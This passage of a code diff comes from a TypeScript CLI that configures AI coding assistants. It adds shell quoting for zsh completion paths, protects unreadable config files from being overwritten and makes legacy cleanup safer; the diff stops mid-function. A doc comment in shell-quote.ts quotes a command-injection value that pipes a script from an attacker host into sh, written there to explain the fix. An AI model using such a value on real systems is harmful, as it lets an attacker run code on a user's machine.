src/core/completions/installers/shell-quote.ts

@@ -0,0 +1,12 @@
+/**
+ * Quote a path as a POSIX shell single-quoted literal.
+ *
+ * Completion directories are derived from XDG_DATA_HOME / HOME, which are never
+ * escaped. Interpolated into a double-quoted rc line, a value like
+ * `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
+ * suppress every expansion, and the `'\''` dance closes, escapes, and reopens
+ * the quote around any literal apostrophe.
+ */
+export function shellSingleQuote(value: string): string {
+  return `'${value.replace(/'/g, `'\\''`)}'`;
+}

src/core/completions/installers/zsh-installer.ts

@@ -3,6 +3,7 @@ import path from 'path';
 import os from 'os';
 import { FileSystemUtils } from '../../../utils/file-system.js';
 import { InstallationResult } from '../factory.js';
+import { shellSingleQuote } from './shell-quote.js';
 
 /**
  * Installer for Zsh completion scripts.
@@ -119,7 +120,7 @@ export class ZshInstaller {
   private generateZshrcConfig(completionsDir: string): string {
     return [
       '# OpenSpec shell completions configuration',
-      `fpath=("${completionsDir}" $fpath)`,
+      `fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
       'autoload -Uz compinit',
       'compinit',
     ].join('\n');
@@ -377,7 +378,7 @@ export class ZshInstaller {
         'To enable completions, add the following to your ~/.zshrc file:',
         '',
         `  # Add completions directory to fpath`,
-        `  fpath=(${completionsDir} $fpath)`,
+        `  fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
         '',
         '  # Initialize completion system',
         '  autoload -Uz compinit',

src/core/config.ts

@@ -33,6 +33,7 @@ export interface AIToolOption {
   legacySkillsDirs?: string[]; // Former roots read for detection and migrated after replacement
   globalSkillsDir?: string; // e.g., '.minimax' - /skills suffix, resolved from the user's home directory
   detectionPaths?: string[]; // Override skillsDir for auto-detection; any path existing triggers detection
+  searchAliases?: string[]; // Extra single-word terms the init tool picker matches; never displayed
   setupNote?: string; // Manual setup required before the tool picks up generated files; shown after init/update
   requiresIdeRestart?: boolean; // True when slash commands are loaded by an IDE/editor process (a CLI picks them up immediately, so no restart hint — see #1067)
 }
@@ -88,9 +89,37 @@ export const AI_TOOLS: AIToolOption[] = [
   // A project that does keep skills there is a project this target fits, the same
   // way `.claude/` selects Claude Code — the signal is the user's setup, not
   // OpenSpec's own files.
-  { name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
+  // The picker is searchable, so this entry also answers to the words someone
+  // whose assistant is not on the list actually types (#653) — it is named for
+  // a directory, which none of them would guess. Aliases are single words: the
+  // space bar toggles a selection rather than typing into the search box.
+  { name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
 ];
 
+/**
+ * The vendor-neutral target every assistant that is not listed above can use.
+ * Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
+ * a dead end (#653).
+ */
+export const UNIVERSAL_TOOL_ID = 'agents';
+
+/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
+export function getUniversalTool(): AIToolOption | undefined {
+  return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
+}
+
+/**
+ * One-line pointer at the universal target for non-interactive errors, the
+ * scripted counterpart of the picker's empty-search hint. Undefined when the
+ * target is not among the tools on offer, so the hint never names a choice the
+ * caller cannot make.
+ */
+export function universalToolFallbackHint(offeredToolIds: string[]): string | undefined {
+  const universal = getUniversalTool();
+  if (!universal || !offeredToolIds.includes(universal.value)) return undefined;
+  return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
+}
+
 /**
  * Retired tool ids that still resolve, so a rebrand does not break scripted
  * `--tools` invocations. Windsurf was rebranded to Devin Desktop on

src/core/global-config.ts

@@ -129,6 +129,10 @@ export function getGlobalConfigPath(): string {
   return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
 }
 
+// Config paths already warned about. One command reads the config several
+// times (telemetry, the update check, the command itself); warn once.
+const warnedInvalidJsonPaths = new Set<string>();
+
 /**
  * Loads the global configuration from disk.
  * Returns default configuration if file doesn't exist or is invalid.
@@ -145,6 +149,14 @@ export function getGlobalConfig(): GlobalConfig {
     const content = fs.readFileSync(configPath, 'utf-8');
     const parsed = JSON.parse(content);
 
+    // A root that is not a plain object carries no settings, and spreading it
+    // would leak its shape into the result: a string contributes numeric
+    // character keys. Answer with plain defaults, as for a file that did not
+    // parse at all. Same predicate the writers refuse to save over.
+    if (!isConfigRootObject(parsed)) {
+      return { ...DEFAULT_CONFIG };
+    }
+
     // Merge with defaults (loaded values take precedence)
     const merged: GlobalConfig = {
       ...DEFAULT_CONFIG,
@@ -167,7 +179,8 @@ export function getGlobalConfig(): GlobalConfig {
     return merged;
   } catch (error) {
     // Log warning for parse errors, but not for missing files
-    if (error instanceof SyntaxError) {
+    if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
+      warnedInvalidJsonPaths.add(configPath);
       console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
     }
     return { ...DEFAULT_CONFIG };
@@ -175,13 +188,67 @@ export function getGlobalConfig(): GlobalConfig {
 }
 
 /**
- * Saves the global configuration to disk.
- * Creates the config directory if it doesn't exist.
+ * Whether a parsed JSON root can serve as a global config object.
+ *
+ * Valid JSON that is not a plain object (`null`, an array, a string, a number,
+ * a boolean) still reads as defaults, so it is just as unsafe to save over as
+ * a file that did not parse at all. Every reader and writer of the global
+ * config shares this one predicate so they cannot drift apart.
  */
-export function saveGlobalConfig(config: GlobalConfig): void {
+export function isConfigRootObject(parsed: unknown): boolean {
+  return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
+}
+
+/**
+ * The one-line, actionable refusal every global-config writer reports when it
+ * declines to overwrite a file it could not read.
+ */
+export function unreadableGlobalConfigMessage(configPath: string): string {
+  return (
+    `Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
+    'Fix it with "openspec config edit", or reset it with "openspec config reset --all".'
+  );
+}
+
+/**
+ * Whether the global config file exists but cannot be read or parsed.
+ *
+ * getGlobalConfig() answers with defaults for such a file so that reads keep
+ * working, but those defaults are not the user's settings: saving them back
+ * would erase everything the file holds, and the file may contain an opt-out
+ * such as `telemetry.enabled: false` that the defaults do not.
+ */
+export function isGlobalConfigUnreadable(): boolean {
+  const configPath = getGlobalConfigPath();
+  if (!fs.existsSync(configPath)) {
+    return false;
+  }
+
+  try {
+    return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
+  } catch {
+    return true;
+  }
+}
+
+export interface SaveGlobalConfigOptions {
+  /** Overwrite a config file that cannot be parsed. Only a reset should. */
+  replaceUnreadable?: boolean;
+}
+
+/**
+ * Saves the global configuration to disk.
+ * Creates the config directory if it doesn't exist. Refuses to overwrite an
+ * existing file it cannot parse unless `replaceUnreadable` is set.
+ */
+export function saveGlobalConfig(config: GlobalConfig, options: SaveGlobalConfigOptions = {}): void {
   const configDir = getGlobalConfigDir();
   const configPath = getGlobalConfigPath();
 
+  if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
+    throw new Error(unreadableGlobalConfigMessage(configPath));
+  }
+
   // Create directory if it doesn't exist
   if (!fs.existsSync(configDir)) {
     fs.mkdirSync(configDir, { recursive: true });

src/core/init.ts

@@ -22,6 +22,8 @@ import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.j
 import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
 import {
   AI_TOOLS,
+  getUniversalTool,
+  universalToolFallbackHint,
   OPENSPEC_DIR_NAME,
   AIToolOption,
   resolveToolIdAlias,
@@ -61,6 +63,7 @@ import {
 import { getGlobalConfig, type Delivery, type Profile } from './global-config.js';
 import { getProfileWorkflows, CORE_WORKFLOWS, ALL_WORKFLOWS } from './profiles.js';
 import { getAvailableTools } from './available-tools.js';
+import { formatOptionalWorkflowsNote } from './onboarding-commands.js';
 import {
   resolveSharedSkillWriters,
   sharedSkillRootOwner,
@@ -631,8 +634,9 @@ export class InitCommand {
       if (detectedToolIds.size > 0) {
         return [...detectedToolIds];
       }
+      const fallbackHint = universalToolFallbackHint(validTools);
       throw new Error(
-        `No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`
+        `No tools detected and no --tools flag provided. Valid tools:\n  ${validTools.join('\n  ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`
       );
     }
 
@@ -656,6 +660,7 @@ export class InitCommand {
         return {
           name: tool?.name || toolId,
           value: toolId,
+          searchAliases: tool?.searchAliases,
           configured,
           detected: detected && !configured,
           preSelected: configured || (shouldPreselectDetected && detected && !configured),
@@ -689,10 +694,19 @@ export class InitCommand {
       console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
     }
 
+    // A search that matches nothing is where someone whose assistant is not on
+    // the list gives up (#653), so name the vendor-neutral entry right there.
+    const universalTool = getUniversalTool();
+    const universalHint =
+      universalTool && validTools.includes(universalTool.value)
+        ? `Tool not listed? Clear the search and pick "${universalTool.name}".`
+        : undefined;
+
     const selectedTools = await searchableMultiSelect({
       message: `Select tools to set up (${validTools.length} available)`,
       pageSize: 15,
       choices: sortedChoices,
+      emptyHint: universalHint,
       validate: (selected: string[]) => selected.length > 0 || 'Select at least one tool',
     });
 
@@ -752,8 +766,9 @@ export class InitCommand {
     );
 
     if (invalidTokens.length > 0) {
+      const fallbackHint = universalToolFallbackHint([...availableSet]);
       throw new Error(
-        `Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`
+        `Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`
       );
     }
 
@@ -1388,15 +1403,35 @@ export class InitCommand {
         )
       );
     }
+    let advertisedAnInvocation = true;
     if (successfulTools.length > 0 && !commandsGenerated && !skillsGenerated) {
       // Nothing was generated for any tool: the correction above is the
       // whole story, so don't advertise an invocation that doesn't exist.
+      advertisedAnInvocation = false;
     } else if (activeWorkflows.includes('propose')) {
       printStartHints('/opsx:propose');
     } else if (activeWorkflows.includes('new')) {
       printStartHints('/opsx:new');
     } else {
       console.log("Done. Run 'openspec config profile' to configure your workflows.");
+      advertisedAnInvocation = false;
+    }
+
+    // Workflows the active profile left out. Setup is the only moment a user
+    // is told what exists, so name them here rather than let a missing
+    // command read as a broken install (#1076). Skipped when the branch above
+    // already pointed at `openspec config profile`, and when no tool received
+    // a workflow surface at all (no tools selected, or none that could take
+    // one) — there, adding workflows writes nothing, so naming them would
+    // point at the wrong problem.
+    if (advertisedAnInvocation && (commandsGenerated || skillsGenerated)) {
+      const optionalWorkflowsNote = formatOptionalWorkflowsNote(activeWorkflows);
+      if (optionalWorkflowsNote) {
+        console.log();
+        for (const line of optionalWorkflowsNote) {
+          console.log(chalk.dim(line));
+        }
+      }
     }
 
     // Links

src/core/legacy-cleanup.ts

@@ -26,19 +26,27 @@ export const LEGACY_CONFIG_FILES = [
   'QWEN.md',
 ] as const;
 
+/** The three commands the old SlashCommandRegistry wrote into each directory. */
+const LEGACY_DIRECTORY_COMMAND_FILES = ['proposal.md', 'apply.md', 'archive.md'] as const;
+
 /**
  * Legacy slash command patterns from the old SlashCommandRegistry.
  * These map toolId to the path pattern where legacy commands were created.
  * Some tools used a directory structure, others used individual files.
  */
 export const LEGACY_SLASH_COMMAND_PATHS: Record<string, LegacySlashCommandPattern> = {
-  // Directory-based: .tooldir/commands/openspec/ or .tooldir/commands/openspec/*.md
-  'claude': { type: 'directory', path: '.claude/commands/openspec' },
-  'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec' },
-  'qoder': { type: 'directory', path: '.qoder/commands/openspec' },
-  'lingma': { type: 'directory', path: '.lingma/commands/openspec' },
-  'crush': { type: 'directory', path: '.crush/commands/openspec' },
-  'gemini': { type: 'directory', path: '.gemini/commands/openspec' },
+  // Directory-based: .tooldir/commands/openspec/. Each entry names the files
+  // OpenSpec wrote there, because users keep their own commands in the same
+  // folder: only those files are deleted, and the folder only once it is empty.
+  'claude': { type: 'directory', path: '.claude/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+  'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+  'qoder': { type: 'directory', path: '.qoder/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+  // Lingma support arrived after the opsx rename and has always written to
+  // `.lingma/commands/opsx/`, so OpenSpec never put a file here: only an empty
+  // leftover folder is removed.
+  'lingma': { type: 'directory', path: '.lingma/commands/openspec', managedFileNames: [] },
+  'crush': { type: 'directory', path: '.crush/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
+  'gemini': { type: 'directory', path: '.gemini/commands/openspec', managedFileNames: ['proposal.toml', 'apply.toml', 'archive.toml'] },
 
   // File-based: individual openspec-*.md files in a commands/workflows/prompts folder
   'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' },
@@ -110,6 +118,8 @@ export const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlobalPromp
 export interface LegacySlashCommandPattern {
   type: 'directory' | 'files';
   path?: string; // For directory type
+  /** For directory type: the only files in `path` that OpenSpec wrote. */
+  managedFileNames?: readonly string[];
   pattern?: string | string[]; // For files type (glob pattern or array of patterns)
 }
 
@@ -320,8 +330,20 @@ export async function detectLegacySlashCommands(
   for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
     if (pattern.type === 'directory' && pattern.path) {
       const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path);
-      if (await FileSystemUtils.directoryExists(dirPath)) {
+      if (!(await FileSystemUtils.directoryExists(dirPath))) {
+        continue;
+      }
+      const entries = await readLegacyCommandDir(dirPath, pattern.managedFileNames ?? []);
+      if (!entries) {
+        continue;
+      }
+      if (entries.others.length === 0) {
+        // Only OpenSpec's own files, or nothing: the whole folder can go.
         directories.push(pattern.path);
+      } else {
+        // The folder also holds the user's files, so report OpenSpec's files
+        // one by one; cleanup deletes those and leaves the folder in place.
+        files.push(...entries.managed.map((name) => `${pattern.path}/${name}`));
       }
     } else if (pattern.type === 'files' && pattern.pattern) {
       const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern];
@@ -335,6 +357,102 @@ export async function detectLegacySlashCommands(
   return { directories, files };
 }
 
+/**
+ * Splits a legacy command directory's entries into the files OpenSpec wrote
+ * there and everything else, sorted. A file counts as OpenSpec's only when it
+ * is a regular file with a managed name whose content still carries the
+ * OpenSpec markers every legacy command was written with; a folder, a link, or
+ * a same-named file the user wrote is the user's. Subdirectories are listed
+ * with a trailing '/'. Returns undefined when the directory cannot be read or
+ * is itself a symlink, which is never followed.
+ */
+async function readLegacyCommandDir(
+  dirPath: string,
+  managedFileNames: readonly string[]
+): Promise<{ managed: string[]; others: string[] } | undefined> {
+  let entries;
+  try {
+    if ((await fs.lstat(dirPath)).isSymbolicLink()) {
+      return undefined;
+    }
+    entries = await fs.readdir(dirPath, { withFileTypes: true });
+  } catch {
+    return undefined;
+  }
+
+  const managed: string[] = [];
+  const others: string[] = [];
+  for (const entry of entries) {
+    if (
+      entry.isFile() &&
+      managedFileNames.includes(entry.name) &&
+      (await isGeneratedLegacyCommand(path.join(dirPath, entry.name)))
+    ) {
+      managed.push(entry.name);
+    } else {
+      others.push(entry.isDirectory() ? `${entry.name}/` : entry.name);
+    }
+  }
+  return { managed: managed.sort(), others: others.sort() };
+}
+
+/**
+ * The legacy command directory, and its tool, that a repo-local path is one of
+ * OpenSpec's own files in.
+ */
+function legacyCommandDirForFile(file: string): { toolId: string; dir: string } | undefined {
+  const normalizedFile = normalizePathForMatch(file);
+  for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
+    if (pattern.type !== 'directory' || !pattern.path) continue;
+    const dir = pattern.path;
+    if (pattern.managedFileNames?.some((name) => normalizedFile === `${dir}/${name}`)) {
+      return { toolId, dir };
+    }
+  }
+  return undefined;
+}
+
+/**
+ * Removes a legacy command directory once OpenSpec's files are gone from it,
+ * or records what is left in it as kept. Never recursive: whatever remains was
+ * not written by OpenSpec. Returns true when the directory was removed.
+ */
+async function settleLegacyCommandDir(
+  projectPath: string,
+  dirPath: string,
+  result: CleanupResult
+): Promise<boolean> {
+  const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
+  const remaining = await readLegacyCommandDir(fullPath, []);
+  if (!remaining) {
+    return false;
+  }
+  if (remaining.others.length === 0) {
+    await fs.rmdir(fullPath);
+    result.deletedDirs.push(dirPath);
+    return true;
+  }
+  result.keptFiles!.push(...remaining.others.map((name) => `${dirPath}/${name}`));
+  return false;
+}
+
+/**
+ * Whether a file is a legacy command OpenSpec generated: a regular file (not a
+ * link) whose content carries the OpenSpec markers. Every legacy slash command
+ * was written with them, and OpenSpec refused to update one that lost them, so
+ * a same-named file without them is the user's.
+ */
+async function isGeneratedLegacyCommand(filePath: string): Promise<boolean> {
+  try {
+    if (!(await fs.lstat(filePath)).isFile()) {
+      return false;
+    }
+    return hasOpenSpecMarkers(await fs.readFile(filePath, 'utf-8'));
+  } catch {
+    return false;
+  }
+}
+
 /**
  * Detects legacy global slash command files.
  *
@@ -506,6 +624,8 @@ export interface CleanupResult {
   modifiedFiles: string[];
   /** Directories that were deleted */
   deletedDirs: string[];
+  /** Entries left in a legacy command directory because OpenSpec did not write them */
+  keptFiles?: string[];
   /** Whether project.md exists and needs manual migration */
   projectMdNeedsMigration: boolean;
   /** Error messages if any operations failed */
@@ -529,6 +649,7 @@ export async function cleanupLegacyArtifacts(
     deletedFileReplacementLabels: {},
     modifiedFiles: [],
     deletedDirs: [],
+    keptFiles: [],
     projectMdNeedsMigration: detection.hasProjectMd,
     errors: [],
   };
@@ -548,21 +669,50 @@ export async function cleanupLegacyArtifacts(
     }
   }
 
-  // Delete legacy slash command directories (these are 100% OpenSpec-managed)
+  // Delete legacy slash command directories: only the files OpenSpec wrote,
+  // then the directory once it is empty. Detection reports a directory only
+  // when it holds nothing else, but a file the user added since is still kept.
   for (const dirPath of detection.slashCommandDirs) {
     const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
     try {
-      await fs.rm(fullPath, { recursive: true, force: true });
-      result.deletedDirs.push(dirPath);
+      const managedFileNames = legacyManagedFileNamesForDir(dirPath);
+      const entries = await readLegacyCommandDir(fullPath, managedFileNames);
+      if (!entries) {
+        continue;
+      }
+      const deleted: string[] = [];
+      for (const name of entries.managed) {
+        const filePath = path.join(fullPath, name);
+        // Check again just before deleting: the file may have been replaced
+        // with the user's own since the scan. A kept file is reported below.
+        if (!(await isGeneratedLegacyCommand(filePath))) {
+          continue;
+        }
+        await fs.unlink(filePath);
+        deleted.push(name);
+      }
+      if (!(await settleLegacyCommandDir(projectPath, dirPath, result))) {
+        result.deletedFiles.push(...deleted.map((name) => `${dirPath}/${name}`));
+      }
     } catch (error: any) {
       result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
     }
   }
 
   // Delete legacy slash command files (these are 100% OpenSpec-managed)
+  const partlyCleanedDirs = new Set<string>();
   for (const filePath of detection.slashCommandFiles) {
     const fullPath = FileSystemUtils.joinPath(projectPath, filePath);
     try {
+      const commandDir = legacyCommandDirForFile(filePath);
+      if (commandDir) {
+        partlyCleanedDirs.add(commandDir.dir);
+        // Check again just before deleting: the file may have been replaced
+        // with the user's own since detection. A kept file is reported below.
+        if (!(await isGeneratedLegacyCommand(fullPath))) {
+          continue;
+        }
+      }
       await fs.unlink(fullPath);
       result.deletedFiles.push(filePath);
     } catch (error: any) {
@@ -570,6 +720,16 @@ export async function cleanupLegacyArtifacts(
     }
   }
 
+  // A legacy command directory that also held the user's files was cleaned
+  // file by file above; record what was left in it.
+  for (const dirPath of partlyCleanedDirs) {
+    try {
+      await settleLegacyCommandDir(projectPath, dirPath, result);
+    } catch (error: any) {
+      result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
+    }
+  }
+
   // Delete managed global slash command files (these are 100% OpenSpec-managed)
   const globalPromptMatchesByPath = new Map(
     getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt] as const)
@@ -621,7 +781,14 @@ export async function cleanupLegacyArtifacts(
 export function formatCleanupSummary(result: CleanupResult): string {
   const lines: string[] = [];
 
-  if (result.deletedFiles.length > 0 || result.deletedDirs.length > 0 || result.modifiedFiles.length > 0) {
+  const keptFiles = result.keptFiles ?? [];
+
+  if (
+    result.deletedFiles.length > 0 ||
+    result.deletedDirs.length > 0 ||
+    result.modifiedFiles.length > 0 ||
+    keptFiles.length > 0
+  ) {
     lines.push('Cleaned up legacy files:');
 
     for (const file of result.deletedFiles) {
@@ -637,6 +804,10 @@ export function formatCleanupSummary(result: CleanupResult): string {
       lines.push(`  ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`);
     }
 
+    for (const entry of keptFiles) {
+      lines.push(`  • Kept ${entry} (not created by OpenSpec)`);
+    }
+
     for (const file of result.modifiedFiles) {
       lines.push(`  ✓ Removed OpenSpec markers from ${file}`);
     }
@@ -832,8 +1003,24 @@ function legacyToolIdForDir(dir: string): string | undefined {
   return undefined;
 }
 
+/** The files OpenSpec wrote into a repo-local legacy slash-command directory. */
+function legacyManagedFileNamesForDir(dir: string): readonly string[] {
+  const normalizedDir = normalizePathForMatch(dir);
+  for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
+    if (pattern.type === 'directory' && pattern.path === normalizedDir) {
+      return pattern.managedFileNames ?? [];
+    }
+  }
+  return [];
+}
+
 /** The tool that owns a repo-local legacy slash-command file, if any. */
 function legacyToolIdForFile(file: string): string | undefined {
+  // A file from a directory-based tool, reported because the directory also
+  // holds the user's own files.
+  const commandDir = legacyCommandDirForFile(file);
+  if (commandDir) return commandDir.toolId;
+
   // Normalize to forward slashes so the glob patterns match on Windows too.
   const normalizedFile = normalizePathForMatch(file);
   for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {

src/core/list.ts

@@ -5,12 +5,19 @@ import { readFileSync, type Dirent } from 'fs';
 import { MarkdownParser } from './parsers/markdown-parser.js';
 import type { RootOutput } from './root-selection.js';
 import { discoverSpecFiles } from '../utils/spec-discovery.js';
+import {
+  describeNestedChange,
+  findNestedChanges,
+  type NestedChangeFinding,
+} from '../utils/nested-change.js';
 
 interface ChangeInfo {
   name: string;
   completedTasks: number;
   totalTasks: number;
   lastModified: Date;
+  /** Set when the entry is a namespace folder rather than a change (#1846). */
+  nested?: string[];
 }
 
 interface ListOptions {
@@ -28,6 +35,17 @@ function isMissingPathError(error: unknown): boolean {
   );
 }
 
+/**
+ * An entry that cannot be dated because it no longer resolves: it was removed
+ * after `readdir` listed it, or it is a symlink whose target is missing (an
+ * Emacs `.#file` lock) or that loops back on itself.
+ */
+function isUnresolvableEntryError(error: unknown): boolean {
+  if (typeof error !== 'object' || error === null || !('code' in error)) return false;
+  const code = (error as NodeJS.ErrnoException).code;
+  return code === 'ENOENT' || code === 'ELOOP';
+}
+
 async function readChangeDirectoryEntries(changesDir: string): Promise<Dirent[]> {
   try {
     return await fs.readdir(changesDir, { withFileTypes: true });
@@ -48,13 +66,18 @@ async function getLastModified(dirPath: string): Promise<Date> {
     const entries = await fs.readdir(dir, { withFileTypes: true });
     for (const entry of entries) {
       const fullPath = path.join(dir, entry.name);
-      if (entry.isDirectory()) {
-        await walk(fullPath);
-      } else {
-        const stat = await fs.stat(fullPath);
-        if (latest === null || stat.mtime > latest) {
-          latest = stat.mtime;
+      try {
+        if (entry.isDirectory()) {
+          await walk(fullPath);
+        } else {
+          const stat = await fs.stat(fullPath);
+          if (latest === null || stat.mtime > latest) {
+            latest = stat.mtime;
+          }
         }
+      } catch (error) {
+        // Skip the one entry rather than fail the listing of every change.
+        if (!isUnresolvableEntryError(error)) throw error;
       }
     }
   }
@@ -119,6 +142,14 @@ export class ListCommand {
       // Collect information about each change
       const changes: ChangeInfo[] = [];
 
+      // A directory that only wraps nested change directories is still listed -
+      // hiding it would hide a real change whenever the probe is wrong - but it
+      // is listed as what it is, so the nesting stops failing silently (#1846).
+      const nestedFindings = await findNestedChanges(changesDir, changeDirs);
+      const nestedByName = new Map<string, NestedChangeFinding>(
+        nestedFindings.map((finding) => [finding.name, finding])
+      );
+
       for (const changeDir of changeDirs) {
         const progress = await getTaskProgressForChange(changesDir, changeDir, targetPath);
         const changePath = path.join(changesDir, changeDir);
@@ -127,7 +158,8 @@ export class ListCommand {
           name: changeDir,
           completedTasks: progress.completed,
           totalTasks: progress.total,
-          lastModified
+          lastModified,
+          ...(nestedByName.has(changeDir) ? { nested: nestedByName.get(changeDir)!.nested } : {})
         });
       }
 
@@ -145,9 +177,22 @@ export class ListCommand {
           completedTasks: c.completedTasks,
           totalTasks: c.totalTasks,
           lastModified: c.lastModified.toISOString(),
-          status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress'
+          status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress',
+          ...(c.nested ? { nested: c.nested } : {})
         }));
-        console.log(JSON.stringify({ changes: jsonOutput, ...(root ? { root } : {}) }, null, 2));
+        // Additive: the entries keep their shape so existing consumers are
+        // unaffected, and the nesting is reported alongside them.
+        const warnings = nestedFindings.map((finding) => ({
+          code: 'nested_change_directory',
+          name: finding.name,
+          nested: finding.nested,
+          message: describeNestedChange(finding)
+        }));
+        console.log(JSON.stringify({
+          changes: jsonOutput,
+          ...(warnings.length > 0 ? { warnings } : {}),
+          ...(root ? { root } : {})
+        }, null, 2));
         return;
       }
 
@@ -157,10 +202,16 @@ export class ListCommand {
       const nameWidth = Math.max(...changes.map(c => c.name.length));
       for (const change of changes) {
         const paddedName = change.name.padEnd(nameWidth);
-        const status = formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
+        const status = change.nested
+          ? 'not a change'
+          : formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
         const timeAgo = formatRelativeTime(change.lastModified);
         console.log(`${padding}${paddedName}     ${status.padEnd(12)}  ${timeAgo}`);
       }
+      for (const finding of nestedFindings) {
+        console.log('');
+        console.log(`Warning: ${describeNestedChange(finding)}`);
+      }
       return;
     }
 

src/core/migration.ts

@@ -6,7 +6,7 @@
  */
 
 import { AI_TOOLS, type AIToolOption } from './config.js';
-import { getGlobalConfig, getGlobalConfigPath, saveGlobalConfig, type Delivery } from './global-config.js';
+import { getGlobalConfig, getGlobalConfigPath, isGlobalConfigUnreadable, saveGlobalConfig, type Delivery } from './global-config.js';
 import { CommandAdapterRegistry } from './command-generation/index.js';
 import {
   resolveCommandInvocation,
@@ -560,6 +560,12 @@ function inferDelivery(artifacts: InstalledWorkflowArtifacts): Delivery {
  * - If profile field already exists: no-op.
  */
 export function migrateIfNeeded(projectPath: string, tools: AIToolOption[]): void {
+  // A config that cannot be parsed, or is not a JSON object, is never saved
+  // over; skip migration rather than fail init or update on it.
+  if (isGlobalConfigUnreadable()) {
+    return;
+  }
+
   const config = getGlobalConfig();
 
   // Check raw config file for profile field presence

src/core/onboarding-commands.ts

@@ -10,7 +10,7 @@
  * src/utils/command-references.ts at the call site.
  */
 
-import type { WorkflowId } from './profiles.js';
+import { ALL_WORKFLOWS, type WorkflowId } from './profiles.js';
 
 export type OnboardingCommand = {
   workflow: WorkflowId;
@@ -48,3 +48,33 @@ export function getOnboardingCommands(
   const installed = new Set(workflows);
   return ONBOARDING_COMMANDS.filter((entry) => installed.has(entry.workflow));
 }
+
+/**
+ * Returns the note telling a user which workflows their profile left out, or
+ * null when every workflow is already installed.
+ *
+ * Setup output otherwise never names the workflows that exist but were not
+ * installed, so a user on the default profile has no way to learn that
+ * `/opsx:ff` and friends are one command away. The docs say it; nobody reads
+ * the docs before typing a command that isn't there.
+ */
+export function formatOptionalWorkflowsNote(
+  installedWorkflows: readonly string[]
+): string[] | null {
+  const installed = new Set(installedWorkflows);
+  const missing = ALL_WORKFLOWS.filter((workflow) => !installed.has(workflow));
+
+  if (missing.length === 0) {
+    return null;
+  }
+
+  const label = missing.length === 1 ? 'workflow is' : 'workflows are';
+  const pronoun = missing.length === 1 ? 'it' : 'them';
+  // `openspec config profile` offers to apply to this project before it
+  // exits, and prints the `openspec update` guidance itself when declined, so
+  // naming a second command here would be one step too many.
+  return [
+    `Note: ${missing.length} more ${label} available (${missing.join(', ')}).`,
+    `Add ${pronoun} with \`openspec config profile\`.`,
+  ];
+}

src/core/parsers/change-parser.ts

@@ -1,9 +1,10 @@
 import { MarkdownParser, Section } from './markdown-parser.js';
 import { buildCodeFenceMask } from './requirement-text.js';
+import { parseDeltaSpec, type DeltaPlan, type RequirementBlock } from './requirement-blocks.js';
 import { Change, Delta, DeltaOperation, Requirement } from '../schemas/index.js';
 import path from 'path';
 import { promises as fs } from 'fs';
-import { discoverSpecFiles } from '../../utils/spec-discovery.js';
+import { discoverSpecFiles, type DiscoveredSpec } from '../../utils/spec-discovery.js';
 
 interface DeltaSection {
   operation: DeltaOperation;
@@ -11,6 +12,12 @@ interface DeltaSection {
   renames?: Array<{ from: string; to: string }>;
 }
 
+/** A header-only block for a REMOVED entry written in the bullet form. */
+function removedNameBlock(name: string): RequirementBlock {
